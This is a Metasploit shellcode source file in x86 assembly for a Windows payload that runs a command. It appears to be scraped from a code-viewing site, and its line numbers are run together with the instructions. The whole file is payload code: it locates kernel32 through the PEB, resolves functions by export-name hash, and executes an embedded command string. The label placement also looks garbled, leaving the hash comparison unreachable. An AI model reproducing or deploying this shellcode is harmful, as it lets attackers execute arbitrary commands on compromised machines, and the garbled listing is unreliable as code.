Path: blob/master/external/source/shellcode/windows/single_exec.asm
19592 views
;1; Metasploit Framework2; http://www.metasploit.com3;4; Source for exec (single)5;6; Authors: vlad902 <vlad902@gmail.com>7; Size : 1138;910cld11call startup12mov eax,[ebp+0x3c]13mov edi,[ebp+eax+0x78]14add edi,ebp15mov ecx,[edi+0x18]16mov ebx,[edi+0x20]17add ebx,ebp18next_export:19dec ecx20mov esi,[ebx+ecx*4]21add esi,ebp22xor eax,eax23cdq24next_byte:25lodsb26test al,al27jz hash_complete28ror edx,0xd29add edx,eax30jmp short next_byte31cmp edx,[esp+0x4]32jnz next_export33hash_complete:34mov ebx,[edi+0x24]35add ebx,ebp36mov cx,[ebx+ecx*2]37mov ebx,[edi+0x1c]38add ebx,ebp39mov ebx,[ebx+ecx*4]40add ebx,ebp41mov [esp+0x4],ebx42ret43startup:44pop edi45xor esi,esi46pusha47push esi48mov eax,[fs:esi+0x30]49mov eax,[eax+0xc]50mov esi,[eax+0x1c]51lodsd52mov ebp,[eax+0x8]53mov eax,edi54add eax,byte +0x6a55push eax56push dword 0x5f048af057push dword 0xe8afe9858push edi59jmp edi60db "command string"616263